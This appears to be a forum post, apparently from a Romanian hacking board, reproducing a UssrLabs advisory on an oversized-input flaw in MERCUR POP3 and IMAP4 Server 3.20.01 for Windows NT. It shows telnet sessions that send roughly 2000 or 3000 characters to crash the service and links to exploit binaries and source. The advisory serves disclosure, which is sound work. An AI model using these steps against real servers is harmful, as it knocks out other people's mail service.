Mercure POP3 Server Hacken

[zbeng]

UssrLabs found that the Mercur POP3 and IMAP Server is vulnerable to a Denial of Service attack. The attack is possible due to improper bounds checking.

Details

Vulnerable systems:

MERCUR Mailserver 3.2

MERCUR POP3-Server (v3.20.01) for Windows NT

MERCUR IMAP4-Server (v3.20.01) for Windows NT

Example:

$ telnet example.com 110

Trying example.com...

Connected to example.com.

Escape character is '^]'.

+OK MERCUR POP3-Server (v3.20.01 Unregistered) for Windows NT ready at Tue, 14 M at 2000 03:30:39 -0300

user [buffer]

Where [buffer] is approximately 2000 characters.

$ telnet example.com 143

Trying example.com...

Connected to example.com.

Escape character is '^]'.

* OK MERCUR IMAP4-Server (v3.20.01 Unregistered) for Windows NT ready at Tue, 14 Mar 2000 03:34:09 -0300

[buffer]

Where [buffer] is approximately 3000 characters.

Exploit:

Binary version of the POP3 DoS:

http://www.ussrback.com/mercur/domrc32p.exe

Binary version of the IMAP DoS:

http://www.ussrback.com/mercur/domrc32i.exe

Source code:

http://www.ussrback.com/mercur/merc32ds.zip

[Vertigo]

Asta este mai degraba Buffer Overflow decat Denial of service... Oricum,frumoasa descoperire...